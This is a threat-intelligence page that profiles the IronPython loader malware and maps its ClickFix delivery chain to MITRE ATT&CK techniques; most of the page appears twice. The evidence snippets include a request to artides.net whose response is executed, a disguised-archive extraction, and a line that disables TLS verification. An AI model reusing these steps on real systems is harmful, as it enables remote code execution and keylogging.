Malware

IronPython loader

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

MITRE ATT&CK

Techniques & procedures

13 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

2 techniques

T1059Command and Scripting InterpreterEvidence1

Everything after that arrives as a response body and runs through exec(), so the final payload never exists as a file.

T1059.006PythonEvidence1

15205307611935.exe -c "base64 → zlib → utf-32 → exec"

Privilege Escalation

1 technique

T1055Process InjectionEvidence1

The endpoint recorded a RemoteLibraryInjection into that process followed immediately by KeyloggerInstallation, flagged as a global, low-level keyboard hook.

Stealth

5 techniques

T1036MasqueradingEvidence1

saved as %LOCALAPPDATA%\IronPython.3.4.2.pdf (ZIP, not PDF)

T1055Process InjectionEvidence1

The endpoint recorded a RemoteLibraryInjection into that process followed immediately by KeyloggerInstallation, flagged as a global, low-level keyboard hook.

T1070Indicator RemovalEvidence1

Killing the shell closes the Run dialog and every window on the desktop, which clears the screen of the paste the user just made

T1140Deobfuscate/Decode Files or InformationEvidence1

Base64 hides it from casual reading, zlib compresses it so no recognizable Python survives in the command line, and the UTF-32 decode is the layer that defeats most tooling

T1218System Binary Proxy ExecutionEvidence1

Every executable in the chain is either signed by Microsoft and already on the box (cmd, finger, taskkill, curl, tar) or legitimately signed open-source software downloaded from GitHub

Credential Access

1 technique

T1056.001KeyloggingEvidence1

Five minutes after the paste, a low-level keyboard hook was installed in explorer.exe.

Collection

2 techniques

T1056.001KeyloggingEvidence1

Five minutes after the paste, a low-level keyboard hook was installed in explorer.exe.

T1560Archive Collected DataEvidence1

tar -xf IronPython.3.4.2.pdf -C IronPython.3.4.2\

Command and Control

3 techniques

T1071.001Web ProtocolsEvidence1

GET https://artides.net/dsVGmQTrzX/default3 ... exec(response)

T1105Ingress Tool TransferEvidence1

curl.exe copied → %LOCALAPPDATA%\237036321264828839.com ... GET github.com/IronLanguages/ironpython3/releases/.../IronPython.3.4.2.zip

T1572Protocol TunnelingEvidence1

The for /f construct is the actual delivery mechanism... Whatever the remote finger server returns becomes the next stage. Finger is a user-lookup protocol from the early ARPANET era, served over TCP/79

Other

1 technique

T1562Impair DefensesEvidence1

ssl._create_default_https_context = ssl._create_unverified_context

ACTIVITY FEED

Recent activity

1 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

1 SOURCESView more in app

shroudcloudNews

Aug 14, 2026

ClickFix to IronPython - ShroudCloud

A ClickFix-delivered multi-stage loader that uses caret-obfuscated cmd/finger execution over TCP/79 to fetch a batch script, copies and renames curl.exe, downloads the legitimate IronPython 3.4.2 runtime disguised as a PDF from GitHub, decodes an inline base64+zlib+UTF-32 Python stage, disables TLS verification, retrieves a final payload from artides[.]net, and culminates in code injected into explorer.exe with a global low-level keylogger installed.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping13

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

Back to malware

Malware

IronPython loader

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

MITRE ATT&CK

Techniques & procedures

13 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

2 techniques

T1059Command and Scripting InterpreterEvidence1

Everything after that arrives as a response body and runs through exec(), so the final payload never exists as a file.

T1059.006PythonEvidence1

15205307611935.exe -c "base64 → zlib → utf-32 → exec"

Privilege Escalation

1 technique

T1055Process InjectionEvidence1

The endpoint recorded a RemoteLibraryInjection into that process followed immediately by KeyloggerInstallation, flagged as a global, low-level keyboard hook.

Stealth

5 techniques

T1036MasqueradingEvidence1

saved as %LOCALAPPDATA%\IronPython.3.4.2.pdf (ZIP, not PDF)

T1055Process InjectionEvidence1

The endpoint recorded a RemoteLibraryInjection into that process followed immediately by KeyloggerInstallation, flagged as a global, low-level keyboard hook.

T1070Indicator RemovalEvidence1

Killing the shell closes the Run dialog and every window on the desktop, which clears the screen of the paste the user just made

T1140Deobfuscate/Decode Files or InformationEvidence1

Base64 hides it from casual reading, zlib compresses it so no recognizable Python survives in the command line, and the UTF-32 decode is the layer that defeats most tooling

T1218System Binary Proxy ExecutionEvidence1

Every executable in the chain is either signed by Microsoft and already on the box (cmd, finger, taskkill, curl, tar) or legitimately signed open-source software downloaded from GitHub

Credential Access

1 technique

T1056.001KeyloggingEvidence1

Five minutes after the paste, a low-level keyboard hook was installed in explorer.exe.

Collection

2 techniques

T1056.001KeyloggingEvidence1

Five minutes after the paste, a low-level keyboard hook was installed in explorer.exe.

T1560Archive Collected DataEvidence1

tar -xf IronPython.3.4.2.pdf -C IronPython.3.4.2\

Command and Control

3 techniques

T1071.001Web ProtocolsEvidence1

GET https://artides.net/dsVGmQTrzX/default3 ... exec(response)

T1105Ingress Tool TransferEvidence1

curl.exe copied → %LOCALAPPDATA%\237036321264828839.com ... GET github.com/IronLanguages/ironpython3/releases/.../IronPython.3.4.2.zip

T1572Protocol TunnelingEvidence1

Other

1 technique

T1562Impair DefensesEvidence1

ssl._create_default_https_context = ssl._create_unverified_context

ACTIVITY FEED

Recent activity

1 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

1 SOURCESView more in app

shroudcloudNews

Aug 14, 2026

ClickFix to IronPython - ShroudCloud

What this page doesn’t show

The version that knows your environment.

Start free trial

IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping13

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.